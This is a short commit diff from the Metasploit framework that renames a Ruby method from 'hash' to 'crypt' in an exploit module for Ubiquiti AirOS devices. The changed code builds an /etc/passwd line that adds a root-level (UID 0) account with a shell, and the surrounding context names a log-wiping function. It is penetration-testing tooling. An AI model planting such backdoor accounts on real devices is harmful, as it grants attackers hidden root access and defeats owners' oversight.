Land rapid7#6957, Rename hash method to crypt

Author: Brent Cook

modules/exploits/linux/ssh/ubiquiti_airos_file_upload.rb

@@ -195,10 +195,10 @@ def wipe_logs(session)
   #
 
   def etc_passwd
-    "#{username}:#{hash(password)}:0:0:Administrator:/etc/persistent:/bin/sh\n"
+    "#{username}:#{crypt(password)}:0:0:Administrator:/etc/persistent:/bin/sh\n"
   end
 
-  def hash(password)
+  def crypt(password)
     # http://man7.org/linux/man-pages/man3/crypt.3.html
     salt = Rex::Text.rand_text(2, '', Rex::Text::AlphaNumeric + './')
     password.crypt(salt)